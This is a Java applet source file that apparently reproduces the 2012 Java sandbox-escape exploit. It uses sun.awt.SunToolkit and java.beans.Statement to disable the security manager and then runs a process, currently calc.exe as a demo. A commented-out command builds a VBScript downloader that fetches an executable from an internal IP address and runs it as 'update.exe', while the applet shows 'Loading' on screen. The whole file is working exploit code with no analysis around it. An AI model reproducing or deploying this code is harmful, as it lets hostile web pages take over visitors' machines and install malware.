package cve2012_java_0day;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        System.out.println("Statement.class:"+Statement.class);
        System.out.println("Statement.class.getDeclaredField('acc'):");
        System.out.println(Statement.class.getDeclaredField("acc"));
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        /*HELLOK*/
        /*
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        System.out.println("GetClass:");
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();

        System.out.println("Class.class:"+Class.class);
        System.out.println("localExpression.getValue():"+localExpression.getValue());
        return (Class)localExpression.getValue();

        */
        Object t[] = new Object[1];
        t[0]=   Class.forName(paramString);
        return (Class)t[0];

    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        //arrayOfObject[0] = paramClass; //java.beans.Statement
        arrayOfObject[0] = Statement.class; //java.beans.Statement
        arrayOfObject[1] = paramString;//acc

        System.out.println("GetClass('sun.awt.SunToolkit'):"+GetClass("sun.awt.SunToolkit"));

        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();//execute getField
        //Field field = klass.getDeclaredField(fieldName);//Field field="java.beans.Statement".getDeclaredField(acc);
        //field.setAccessible(true);                      //field.setAccessible(true);

        System.out.println("paramClass:"+paramClass);
        System.out.println("paramObject1:"+paramObject1);
        System.out.println("paramObject2:"+paramObject2);
        System.out.println("localExpression.getValue():"+localExpression.getValue());
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
           System.out.println("System.getSecurityManager():"+System.getSecurityManager());
           disableSecurity();
            Process localProcess = null;
           // String command="cmd.exe /c echo Const adTypeBinary = 1 > d:\\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> d:\\apsou.vbs & echo Dim BinaryStream >> d:\\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> d:\\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> d:\\apsou.vbs & echo BinaryStream.Open >> d:\\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> d:\\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> d:\\apsou.vbs & echo Function BinaryGetURL(URL) >> d:\\apsou.vbs & echo Dim Http >> d:\\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> d:\\apsou.vbs & echo Http.Open \"GET\", URL, False >> d:\\apsou.vbs & echo Http.Send >> d:\\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> d:\\apsou.vbs & echo End Function >> d:\\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> d:\\apsou.vbs & echo shell.Run \"d:\\update.exe\" >> d:\\apsou.vbs " +
           // "& start d:\\apsou.vbs http://192.168.1.41/calc.exe d:\\windows\\update.exe";
            String command="calc.exe";
            localProcess = Runtime.getRuntime().exec(command);
            //C:\\Users\\hp\\workspace\\cve2012_java_0day\\src\\cve2012_java_0day\\calc.exe
            //calc.exe
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}